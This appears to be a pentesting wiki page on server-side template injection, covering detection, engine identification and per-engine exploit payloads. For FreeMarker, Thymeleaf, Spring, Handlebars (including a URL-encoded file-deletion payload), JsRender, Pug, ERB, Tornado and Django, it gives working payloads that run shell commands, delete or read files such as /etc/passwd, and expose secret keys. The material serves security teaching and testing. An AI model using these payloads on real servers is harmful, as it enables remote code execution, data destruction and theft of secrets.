# SSTI \(Server Side Template Injection\)

**This guide is based on the one of Portswigger:** [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)

## What is server-side template injection?

A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.

**Template engines** are designed to **generate web** pages by **combining** **fixed** templates with **volatile** data. Server-side template injection attacks can occur when **user input** is concatenated directly **into a template**, rather than passed in as data. This allows attackers to **inject arbitrary template directives** in order to manipulate the template engine, often enabling them to take **complete control of the server**.

An example of vulnerable code see the following one:

```php
$output = $twig->render("Dear " . $_GET['name']);
```

In the previous example **part of the template** itself is being **dynamically generated** using the `GET` parameter `name`. As template syntax is evaluated server-side, this potentially allows an attacker to place a server-side template injection payload inside the `name` parameter as follows:

```text
http://vulnerable-website.com/?name={{bad-stuff-here}}
```

## Constructing a server-side template injection attack

![](../.gitbook/assets/ssti-methodology-diagram.png)

### Detect

As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try **fuzzing the template** by injecting a sequence of special characters commonly used in template expressions, such as the polyglot `${{<%[%'"}}%\`.  
In order to check if the server is vulnerable you should **spot the differences** between the response with **regular data** on the parameter and the **given payload**.  
If an **error is thrown** it will be quiet easy to figure out that **the server is vulnerable** and even which **engine is running**. But you could also find a vulnerable server if you were **expecting** it to **reflect** the given payload and it is **not being reflected** or if there are some **missing chars** in the response.

#### Detect - Plaintext context

The given input is being **rendered and reflected** into the response. This is easily **mistaken for a simple** [**XSS**](xss-cross-site-scripting/) vulnerability, but it's easy to difference if you try set **mathematical operations** within a template expression:

```text
{{7*7}}
${7*7}
<%= 7*7 %>
```

#### Detect - Code context

In these cases the **user input** is being placed **within** a **template expression**:

```python
engine.render("Hello {{"+greeting+"}}", data)
```

The URL access that page could be similar to: `http://vulnerable-website.com/?greeting=data.username`

If you **change** the **`greeting`** parameter for a **different value** the **response won't contain the username**, but if you access something like: `http://vulnerable-website.com/?greeting=data.username}}hello` then, **the response will contain the username** \(if the closing template expression chars were **`}}`**\).  
If an **error** is thrown during these test, it will be easier to find that the server is vulnerable.

### Identify

Once you have detected the template injection potential, the next step is to identify the template engine.  
Although there are a huge number of templating languages, many of them use very similar syntax that is specifically chosen not to clash with HTML characters.

If you are lucky the server will be **printing the errors** and you will be able to find the **engine** used **inside** the errors. Some possible payloads that may cause errors:

| `${}` | `{{}}` | `<%= %>` |
| :--- | :--- | :--- |
| `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` |
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
| `${7*7}` | `{{7*7}}` | \`\` |

Otherwise, you'll need to manually **test different language-specific payloads** and study how they are interpreted by the template engine. A common way of doing this is to inject arbitrary mathematical operations using syntax from different template engines. You can then observe whether they are successfully evaluated. To help with this process, you can use a decision tree similar to the following:

![](../.gitbook/assets/image%20%289%29.png)

### Exploit

#### Read

The first step after finding template injection and identifying the template engine is to read the documentation. Key areas of interest are:

* 'For Template Authors' sections covering basic syntax.
* 'Security Considerations' - chances are whoever developed the app you're testing didn't read this, and it may contain some useful hints.
* Lists of builtin methods, functions, filters, and variables.
* Lists of extensions/plugins - some may be enabled by default.

#### Explore

Assuming no exploits have presented themselves, the next step is to **explore the environment** to find out exactly what **you have access to**. You can expect to find both **default objects** provided by the template engine, and **application-specific objects** passed in to the template by the developer. Many template systems expose a 'self' or namespace object containing everything in scope, and an idiomatic way to list an object's attributes and methods.

If there's no builtin self object you're going to have to bruteforce variable names using [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) and Burp Intruder's wordlist collection.

Developer-supplied objects are particularly likely to contain sensitive information, and may vary between different templates within an application, so this process should ideally be applied to every distinct template individually.

#### **Attack**

At this point you should have a **firm idea of the attack surface available** to you and be able to proceed with traditional security audit techniques, reviewing each function for exploitable vulnerabilities. It's important to approach this in the context of the wider application - some functions can be used to exploit application-specific features. The examples to follow will use template injection to trigger arbitrary object creation, arbitrary file read/write, remote file include, information disclosure and privilege escalation vulnerabilities.

## Exploits

### FreeMarker \(Java\)

* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
* `${7*'7'} Nothing`
* `${foobar}`

```text
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```

#### More information

* In FreeMarker section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)

### Velocity \(Java\)

#### More information

* In Velocity section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)

### Thymeleaf \(Java\)

The typical test expression for SSTI is `${7*7}`. This expression works in Thymeleaf, too. If you want to achieve remote code execution, you can use one of the following test expressions:

* SpringEL: `${T(java.lang.Runtime).getRuntime().exec('calc')}`
* OGNL: `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`

However, as we mentioned before, expressions only work in special Thymeleaf attributes. If it’s necessary to use an expression in a different location in the template, Thymeleaf supports _expression inlining_. To use this feature, you must put an expression within `[[...]]` or `[(...)]` \(select one or the other depending on whether you need to escape special symbols\). Therefore, a simple SSTI detection payload for Thymeleaf would be `[[${7*7}]]`.

Chances that the above detection payload would work are, however, very low. SSTI vulnerabilities usually happen when a template is dynamically generated in the code. Thymeleaf, by default, doesn’t allow such dynamically generated templates and all templates must be created earlier. Therefore, if a developer wants to create a template from a string _on the fly_, they would need to create their own TemplateResolver. This is possible but happens very rarely.

If we take a deeper look into the documentation of the Thymeleaf template engine, we will find an interesting feature called _**expression preprocessing**_. Expressions placed between double underscores \(`__...__`\) are preprocessed and the result of the preprocessing is used as part of the expression during regular processing. Here is an official example from Thymeleaf documentation:

```text
#{selection.__${sel.code}__}
```

#### Vulnerable example

```markup
<a th:href="@{__${path}__}" th:title="${title}">

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```

#### More information

* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)

### Spring View Manipulation \(Java\)

* `__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x`
* `__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x`

[https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)

### Smarty \(PHP\)

#### More information

* In Smarty section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)

### Twig \(PHP\)

* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
* `{{1/0}} = Error`
* `{{foobar}} Nothing`

#### More information

* In Twig and Twig \(Sandboxed\) section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)

### Jade \(NodeJS\)

#### More information

* In Jade section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)

### Handlebars \(NodeJS\)

Path Traversal \(more info [here](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)\).

```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```

*  = Error
* ${7\*7} = ${7\*7}
*  Nothing

```text
wrtz{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

URLencoded:
wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d
```

#### More information

* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)

### JsRender \(NodeJS\)

| **Template** | **Description** |
| :--- | :--- |
|  | Evaluate and render output |
|  | Evaluate and render HTML encoded output |
|  | Comment |
|  and  | Allow code \(disabled by default\) |

*  = 49

#### Client Side

```text
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```

#### Server Side

```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```

#### More information

* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)

### PugJs \(NodeJS\)

* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`

#### Example server side render

```text
var pugjs = require('pug');
home = pugjs.render(injected_page)
```

#### More information

* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)

### ERB \(Ruby\)

* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Error`

```text
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
```

#### More information

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)

### Tornado \(Python\)

* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{foobar}} = Error`
* `{{7*'7'}} = 7777777`

```text
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
```

#### More information

### Django Tricks \(Python\)

Django is going to be using as template engine **Jinja2**.

* `{{7*7}} = Error`
* `${7*7} = ${7*7}`
* `{{foobar}} Nothing`

```text
{% debug %}
{{settings.SECRET_KEY}}
```

#### More information

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)

### Razor \(.Net\)

* `@(1+2)`
* `@( //C#Code )`

  The .NET `System.Diagnostics.Process.Start` method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)

**More information**

* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-%28SSTI%29-in-ASP.NET-Razor/)

### More Exploits

Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. Also you can find interesting tags information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)

### Mojolicious \(Perl\)

Even if it's perl it uses tags like ERB in Ruby.

* `<%= 7*7 %> = 49`
* `<%= foobar %> = Error`

```text
<%= perl code %>
<% perl code %>
```

## BlackHat PDF

{% file src="../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

## Related Help

If you think it could be useful, read:

* [Flask tricks](../pentesting/pentesting-web/flask.md)
* [Python magic functions](../misc/basic-python/magic-methods.md)

## Tools

* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)

## Practice

* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)

